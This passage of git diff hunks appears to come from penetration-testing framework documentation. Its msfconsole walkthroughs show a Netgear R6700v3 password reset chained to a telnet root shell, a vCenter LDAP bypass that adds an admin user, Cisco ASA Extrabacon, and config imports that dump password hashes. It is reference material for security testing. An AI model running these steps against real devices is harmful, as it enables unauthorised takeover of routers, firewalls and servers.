uiPrintLocalSoftKeys - uiPrintLocalSoftKeys
uiStartTone - uiStartTone
uiStopTone - uiStopTone
pegPrintAll - pegPrintAll
uiSMPrintAll - uiStateMachinePrintAll
lldpSMPrintAll - lldpStateMachinePrintAll
saveLogLevels - saveLogLevels
localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
setHw - Sets the Rockpile Hardware Id
getHw - Prints the Rockpile Hardware Id
setUpf - Sets the Upgrade progress flag
rstUpf - Resets the Upgrade progress flag
setMdm - Sets the Manf diag mode flag
rstMdm - Resets the Manf diag mode flag
setDhcp - Sets the Manf diag dhcp flag
rstDhcp - Resets the Manf diag dhcp flag
setOrd - Sets the ORD flag
rstOrd - Resets the ORD flag
fs - Prin the status of rockpile flags
cp - Mfg. test diags
vol - Mfg. test diags
sig - Mfg. test diags
os - Mfg. test diags
Commands 121 to 141:
lcd - Mfg. test diags
sum - Prints checksums of flash images
rd - Mfg. test diags
wr - Mfg. test diags
eth - Start/stop ethernet hardware
fstp - Stop FGPIO interface
hfTxEq - Audio testing for large conf rooms
ctConv - perform ct convergence test.
ctModeEnd - terminate ctMode
ctEnableRx - Enable ctRx 1 on, 0 off
ctEnableTx - Enable ctTx 1 on, 0 off
ctMicTx - Route mic # to Tx
ctEMTx - Route external mic # to Tx
ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctRxSpkr - Send directly to HF speaker
ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm)
displayListeningPorts - Display listening port and process info
killListeningProcess - Kill the task associated with the port
$>exit
```
#### Unsuccessful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -4,8 +4,9 @@ IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by
The first is an unauthenticated bypass, followed by a path traversal.
This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.
A downloaded file is zipped, and this module also unzips it before storing it in the database.
By default, this module downloads Tomcat's 1application.properties` files, which contains the database password, amongst other sensitive data.
At the time of disclosure, this is a 0day. Versions 2.0.3 and 2.0.2 are confirmed to be affected, and the latest 2.0.6 is most likely affected too. Version 2.0.1 is not vulnerable.
By default, this module downloads Tomcat's application.properties file, which contains the database password, amongst other sensitive data.
At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.
Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.
### Vulnerability information
For more information about the vulnerability check the advisory at:
@@ -0,0 +1,269 @@
## Vulnerable Application
This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd),
on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset
the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by
using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent
computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only
supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.58
firmware, however support for other firmware versions may be added in the future.
Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a
special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can
then log into this telnet server using the new password, and obtain a shell as the "root" user.
These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.
It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.
As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit
this vulnerability once per reboot of the router.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
The vulnerable firmware versions this exploit supports can be downloaded from the following links:
* [Netgear R6700v3 firmware version V1.0.4.82_10.0.57](https://web.archive.org/web/20200630213752if_/https://www.downloads.netgear.com/files/GDC/R6700v3/R6700v3-V1.0.4.82_10.0.57.zip)
* [Netgear R6700v3 firmware version V1.0.4.84_10.0.58](https://web.archive.org/web/20200630213830if_/https://www.downloads.netgear.com/files/GDC/R6700v3/R6700v3-V1.0.4.84_10.0.58.zip)
## Verification Steps
1. Connect the R6700v3 router to your local area network and ensure you can access it.
2. Browse to the admin portal for the router, which will be located by default at `http://192.168.1.1`.
3. Go to Advanced -> Administration -> Set Password
4. Change the password from `password` to another password of your choice.
5. Log out and browse again to `http://192.168.1.1`. Verify that you can log into the router with the new password.
6. Start msfconsole
7. Do: ```use auxiliary/admin/http/netgear_r6700_pass_reset```
8. Set RHOST
9. Run ```check``` and verify that the target is vulnerable.
10. Do: ```run```
11. Browse admin portal for the router, and
verify you can successfully log in with the username `admin` and the password `password`.
## Options
### RHOSTS
IP address of the LAN interface of the vulnerable target.
### RPORT
upnpd port on the target. Default 5000.
## Scenarios
### Netgear R6700v3 firmware version V1.0.4.84_10.0.58
```
msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
[*] Target is running firmware version 1.0.4.84
[*] 192.168.1.1:5000 - The target appears to be vulnerable.
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
[*] Running module against 192.168.1.1
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
[+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
[*] To achieve code execution, do the following steps manually:
[*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
[*] 1.1- go to Advanced -> Administration -> Set Password
[*] 1.2- Change the password from 'password' to <WHATEVER>
[*] 2- Run metasploit as root, then:
[*] 2.1- use exploit/linux/telnet/netgear_telnetenable
[*] 2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>
[*] 2.3- set rhost 192.168.1.1
[*] 2.3- set username admin
[*] 2.4- set password <WHATEVER>
[*] 2.5- OPTIONAL: set timeout 1500
[*] 2.6- OPTIONAL: set MAC <ROUTERS_MAC>
[*] 2.7- run it and login with 'admin:<WHATEVER>'
[*] 3- Enjoy your root shell!
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
```
Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
session running as `root`, entered the following commands:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
username => admin
msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
password => testing123
msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
MAC => D56C89FC94C9
msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[+] 192.168.1.1:23 - Using creds admin:testing123
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-30 15:57:33 -0500
Login incorrect
login: admin
admin
Password: testing123
BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
id
uid=0(admin) gid=0(root)
# uname -a
uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Sat Oct 19 11:17:27 CST 2019 armv7l unknown
#
```
### Netgear R6700v3 firmware version V1.0.0.4.82_10.0.57
```
msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
[*] Target is running firmware version 1.0.4.82
[*] 192.168.1.1:5000 - The target appears to be vulnerable.
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
[*] Running module against 192.168.1.1
[*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.
[+] 192.168.1.1:5000 - HTTP payload sent! 'admin' password has been reset to 'password'
[*] To achieve code execution, do the following steps manually:
[*] 1- Login to 192.168.1.1 with creds 'admin:password', then:
[*] 1.1- go to Advanced -> Administration -> Set Password
[*] 1.2- Change the password from 'password' to <WHATEVER>
[*] 2- Run metasploit as root, then:
[*] 2.1- use exploit/linux/telnet/netgear_telnetenable
[*] 2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>
[*] 2.3- set rhost 192.168.1.1
[*] 2.3- set username admin
[*] 2.4- set password <WHATEVER>
[*] 2.5- OPTIONAL: set timeout 1500
[*] 2.6- OPTIONAL: set MAC <ROUTERS_MAC>
[*] 2.7- run it and login with 'admin:<WHATEVER>'
[*] 3- Enjoy your root shell!
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
```
Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
session running as `root`, entered the following commands:
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(linux/telnet/netgear_telnetenable) > show options
Module options (exploit/linux/telnet/netgear_telnetenable):
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
MAC no MAC address of device
PASSWORD no Password on device
PCAPFILE no The name of the PCAP capture file to process
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 500 yes The number of seconds to wait for new data
USERNAME no Username on device
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic (detect TCP or UDP)
msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
set msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
username => admin
msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
password => testing123
msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
MAC => D56C89FC94C9
msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
[+] 192.168.1.1:23 - Using creds admin:testing123
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled via UDP
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.1:23) at 2020-06-30 15:14:08 -0500
Login incorrect
login: admin
admin
Password: testing123
BusyBox v1.7.2 (2019-07-29 20:56:07 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id
id
uid=0(admin) gid=0(root)
# uname -a
uname -a
Linux R6700v3 2.6.36.4brcmarm+ #17 SMP PREEMPT Mon Jul 29 19:43:55 CST 2019 armv7l unknown
#
```
@@ -1,91 +0,0 @@
## General Notes
This module imports a Juniper configuration file into the database.
This is similar to `post/juniper/gather/enum_juniper` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this (junos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
or [this (screenos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf).
## Verification Steps
1. Have a Juniper configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/juniper/juniper_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `set action junos`
7. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
**Action**
`JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
## Scenarios
### JunOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/juniper_ex2200.config
config => /tmp/juniper_ex2200.config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
[+] SNMP community read with permissions read-only
[+] SNMP community public with permissions read-only
[+] SNMP community private with permissions read-write
[+] SNMP community secretsauce with permissions read-write
[+] SNMP community hello there with permissions read-write
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
[+] Config import successful
[*] Auxiliary module execution completed
```
### ScreenOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/screenos.conf
config => /tmp/screenos.conf
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > set action SCREENOS
action => SCREENOS
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -4,7 +4,8 @@
This module bypasses LDAP authentication in VMware vCenter Server's
vmdir service to add an arbitrary administrator user. Version 6.7
prior to the 6.7U3f update is vulnerable.
prior to the 6.7U3f update is vulnerable, only if upgraded from a
previous release line, such as 6.0 or 6.5.
### Setup
@@ -35,11 +36,6 @@ Set this to the username for the new admin user.
Set this to the password for the new admin user.
### ConnectTimeout
You may configure the timeout for LDAP connects if necessary. The
default is 10.0 seconds and should be more than sufficient.
## Scenarios
### VMware vCenter Server 6.7 virtual appliance on ESXi
@@ -55,7 +51,8 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
BASE_DN no LDAP base DN if you already have it
PASSWORD no Password of admin user to add
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 389 yes The target port
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
USERNAME no Username of admin user to add
@@ -74,6 +71,7 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfad
password => msfadmin
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
[*] Running module against [redacted]
not verifying SSL hostname of LDAPS server '[redacted]:636'
[*] Using auxiliary/gather/vmware_vcenter_vmdir_ldap as check
[*] Discovering base DN automatically
@@ -89,19 +87,11 @@ supportedldapversion: 3
supportedsaslmechanisms: GSSAPI
[+] Discovered base DN: dc=vsphere,dc=local
[*] Dumping LDAP data from vmdir service at [redacted]:389
[+] [redacted]:389 is vulnerable to CVE-2020-3952
[*] Dumping LDAP data from vmdir service at [redacted]:636
[+] [redacted]:636 is vulnerable to CVE-2020-3952
[*] Storing LDAP data in loot
[+] Saved LDAP data to /Users/wvu/.msf4/loot/20200417002255_default_[redacted]_VMwarevCenterS_975097.txt
[*] Password and lockout policy:
dn: cn=password and lockout policy,dc=vsphere,dc=local
cn: password and lockout policy
enabled: TRUE
ntsecuritydescriptor:: [redacted]
objectclass: top
objectclass: vmwLockoutPolicy
objectclass: vmwPasswordPolicy
objectclass: vmwPolicy
vmwpasswordchangeautounlockintervalsec: [redacted]
vmwpasswordchangefailedattemptintervalsec: [redacted]
vmwpasswordchangemaxfailedattempts: [redacted]
@@ -116,7 +106,9 @@ vmwpasswordminspecialcharcount: [redacted]
vmwpasswordminuppercasecount: [redacted]
vmwpasswordprohibitedpreviouscount: [redacted]
[*] Bypassing LDAP auth in vmdir service at [redacted]:389
[+] Credentials found: [redacted]
[snip]
[*] Bypassing LDAP auth in vmdir service at [redacted]:636
[*] Adding admin user msfadmin with password msfadmin
[+] Added user msfadmin, so auth bypass was successful!
[+] Added user msfadmin to admin group
@@ -0,0 +1,108 @@
## Vulnerable Application
### General Notes
This module imports an Arista configuration file into the database.
This is similar to `post/networking/gather/enum_arista` only access isn't required,
and assumes you already have the file.
Arista vEOS is available to download for [GNS3](https://www.gns3.com/marketplace/featured/arista-veos)
Example config file:
```
! Command: show running-config
! device: aristaveos (vEOS, EOS-4.19.10M)
!
! boot system flash:vEOS-lab.swi
!
transceiver qsfp default-mode 4x10G
!
hostname aristaveos
!
snmp-server community read ro
snmp-server community write rw
!
spanning-tree mode mstp
!
enable secret sha512 $6$jemN09cUdoLRim6i$Mvl2Fog/VZ7ktxyLSVDR1KnTTTPSMHU3WD.G/kxwgODdsc3d7S1aSNJX/DJmQI3nyrYnEw4lsmoKPGClFJ9hH1
aaa root secret sha512 $6$Rnanb2dQsVy2H3QL$DEYDZMy6j6KK4XK62Uh.3U3WXxK5XJvn8Zd5sm36T7BVKHS5EmIcQV.EN1X1P1ZO099S0lkxpvEGzA9yK5PQF.
!
username admin privilege 15 role network-admin secret sha512 $6$Ei2bjrcTCGPOjSkk$7S.XSTZqdRVXILbUUDcRPCxzyfqEFYzg6HfL0BHXvriETX330MT.KObHLkGx7n9XZRVWBr68ZsKfvzvxYCvj61
!
interface Ethernet1
!
interface Ethernet2
!
interface Ethernet3
!
interface Ethernet4
!
interface Ethernet5
!
interface Ethernet6
!
interface Ethernet7
!
interface Ethernet8
!
interface Ethernet9
!
interface Ethernet10
!
interface Ethernet11
!
interface Ethernet12
!
interface Management1
ip address dhcp
!
no ip routing
!
end
```
## Verification Steps
1. Have a Arista configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/arista_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
## Scenarios
```
resource (arista_config.rb)> use auxiliary/admin/networking/arista_config
resource (arista_config.rb)> set rhost 1.1.1.1
rhost => 1.1.1.1
resource (arista_config.rb)> set config /tmp/veos.config
config => /tmp/veos.config
resource (arista_config.rb)> set verbose true
verbose => true
resource (arista_config.rb)> run
[*] Running module against 1.1.1.1
[*] Importing config
[+] 1.1.1.1:22 Hostname: aristaveos, Device: vEOS, OS: EOS, Version: 4.19.10M
[+] 1.1.1.1:22 Hostname: aristaveos
[+] 1.1.1.1:22 SNMP Community (ro): read
[+] 1.1.1.1:22 SNMP Community (rw): write
[+] 1.1.1.1:22 Enable hash: $6$jemN09cUdoLRim6i$Mvl2Fog/VZ7ktxyLSVDR1KnTTTPSMHU3WD.G/kxwgODdsc3d7S1aSNJX/DJmQI3nyrYnEw4lsmoKPGClFJ9hH1
[+] 1.1.1.1:22 AAA Username 'root' with Hash: $6$Rnanb2dQsVy2H3QL$DEYDZMy6j6KK4XK62Uh.3U3WXxK5XJvn8Zd5sm36T7BVKHS5EmIcQV.EN1X1P1ZO099S0lkxpvEGzA9yK5PQF.
[+] 1.1.1.1:22 Username 'admin' with privilege 15, Role network-admin, and Hash: $6$Ei2bjrcTCGPOjSkk$7S.XSTZqdRVXILbUUDcRPCxzyfqEFYzg6HfL0BHXvriETX330MT.KObHLkGx7n9XZRVWBr68ZsKfvzvxYCvj61
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,172 @@
## Vulnerable Application
### General Notes
This module imports a Brocade configuration file into the database.
This is similar to `post/networking/gather/enum_brocade` only access isn't required,
and assumes you already have the file.
### Example Config
Example files for import can be found on git, like
[this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
```
!
Startup-config data location is flash memory
!
Startup configuration:
!
ver 08.0.20T311
!
stack unit 1
module 1 icx6430-24-port-management-module
module 2 icx6430-sfp-4port-4g-module
!
!
!
!
!
!
!
!
aaa authentication web-server default local
aaa authentication login default local
enable password-display
enable super-user-password 8 $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
ip address 2.2.2.2 255.255.255.0 dynamic
ip dns server-address 1.1.1.1
ip default-gateway 1.1.1.1
!
username brocade password 8 $1$f/uxhovU$dST5lNskZCPQe/5QijULi0
username test password 8 $1$qKOcZizM$ySW1EyiUpKSHw9MT4PZ11.
snmp-server community 2 $MlVzZCFAbg== ro
snmp-server community 2 $U2kyXj1k rw
!
!
interface ethernet 1/1/1
speed-duplex 1000-full-master
!
interface ethernet 1/1/2
speed-duplex 1000-full-master
!
interface ethernet 1/1/3
speed-duplex 1000-full-master
!
interface ethernet 1/1/4
speed-duplex 1000-full-master
!
interface ethernet 1/1/5
speed-duplex 1000-full-master
!
interface ethernet 1/1/6
speed-duplex 1000-full-master
!
interface ethernet 1/1/7
speed-duplex 1000-full-master
!
interface ethernet 1/1/8
speed-duplex 1000-full-master
!
interface ethernet 1/1/9
speed-duplex 1000-full-master
!
interface ethernet 1/1/10
speed-duplex 1000-full-master
!
interface ethernet 1/1/11
speed-duplex 1000-full-master
!
interface ethernet 1/1/12
speed-duplex 1000-full-master
!
interface ethernet 1/1/13
speed-duplex 1000-full-master
!
interface ethernet 1/1/14
speed-duplex 1000-full-master
!
interface ethernet 1/1/15
speed-duplex 1000-full-master
!
interface ethernet 1/1/16
speed-duplex 1000-full-master
!
interface ethernet 1/1/17
speed-duplex 1000-full-master
!
interface ethernet 1/1/18
speed-duplex 1000-full-master
!
interface ethernet 1/1/19
speed-duplex 1000-full-master
!
interface ethernet 1/1/20
speed-duplex 1000-full-master
!
interface ethernet 1/1/21
speed-duplex 1000-full-master
!
interface ethernet 1/1/22
speed-duplex 1000-full-master
!
interface ethernet 1/1/23
speed-duplex 1000-full-master
no spanning-tree
!
interface ethernet 1/1/24
speed-duplex 1000-full-master
no spanning-tree
!
!
!
!
!
!
!
!
end
```
## Verification Steps
1. Have a Brocade configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/brocade_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
## Scenarios
```
msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
msf5 > use auxiliary/admin/networking/brocade_config
msf5 auxiliary(admin/networking/brocade_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(admin/networking/brocade_config) > set config /tmp/brocade.conf
config => /tmp/brocade.conf
msf5 auxiliary(admin/networking/brocade_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] password-display is enabled, hashes will be displayed in config
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -1,4 +1,6 @@
## General notes
## Vulnerable Application
### General notes
This is using improved shellcode, has less stages than the Equation Group
version making it more reliable. This makes the SNMP payload packet ~150 less
@@ -10,7 +12,7 @@ finder are available at:
https://github.com/RiskSense-Ops/CVE-2016-6366
## Partial list of supported versions
### Partial list of supported versions
------------------------------------------------------------
All of the leaked versions are available in the module
@@ -54,12 +56,14 @@ All of the leaked versions are available in the module
`*` new version support not part of the original Shadow Brokers leak
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option?
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the
NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future,
we'd like to incorporate these versions. Perhaps as a bool option?
## Verification Steps
- Start `msfconsole`
- `use auxiliary/admin/cisco/cisco_asa_extrabacon`
- `use auxiliary/admin/networking/cisco_asa_extrabacon`
- `set RHOST x.x.x.x`
- `check`
- `run`
@@ -68,10 +72,14 @@ All of the leaked versions are available in the module
- `run`
- ssh admin@x.x.x.x, ensure fake password does not work
## Checking for a vulnerable version
## Options
## Scenarios
### Checking for a vulnerable version
```
msf > use auxiliary/admin/cisco/cisco_asa_extrabacon
msf > use auxiliary/admin/networking/cisco_asa_extrabacon
msf auxiliary(cisco_asa_extrabacon) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf auxiliary(cisco_asa_extrabacon) > check
@@ -80,7 +88,7 @@ msf auxiliary(cisco_asa_extrabacon) > check
[*] 192.168.1.1:161 The target appears to be vulnerable.
```
## Disabling administrative password
### Disabling administrative password
```
msf auxiliary(cisco_asa_extrabacon) > set
@@ -101,7 +109,7 @@ msf auxiliary(cisco_asa_extrabacon) > run
[*] Auxiliary module execution completed
```
## Re-enabling administrative password
### Re-enabling administrative password
```
msf auxiliary(cisco_asa_extrabacon) > set MODE pass-enable
@@ -1,30 +1,33 @@
## General Notes
## Vulnerable Application
### General Notes
This module imports a Cisco configuration file into the database.
This is similar to `post/cisco/gather/enum_cisco` only access isn't required,
This is similar to `post/networking/gather/enum_cisco` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
Example files for import can be found on git, like
[this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
or from [Cisco](https://www.cisco.com/en/US/docs/routers/access/800/850/software/configuration/guide/sampconf.html).
## Verification Steps
1. Have a Cisco configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/cisco/cisco_config`
3. `use auxiliary/admin/networking/cisco_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
### CONFIG
File path to the configuration file.
File path to the configuration file.
## Scenarios
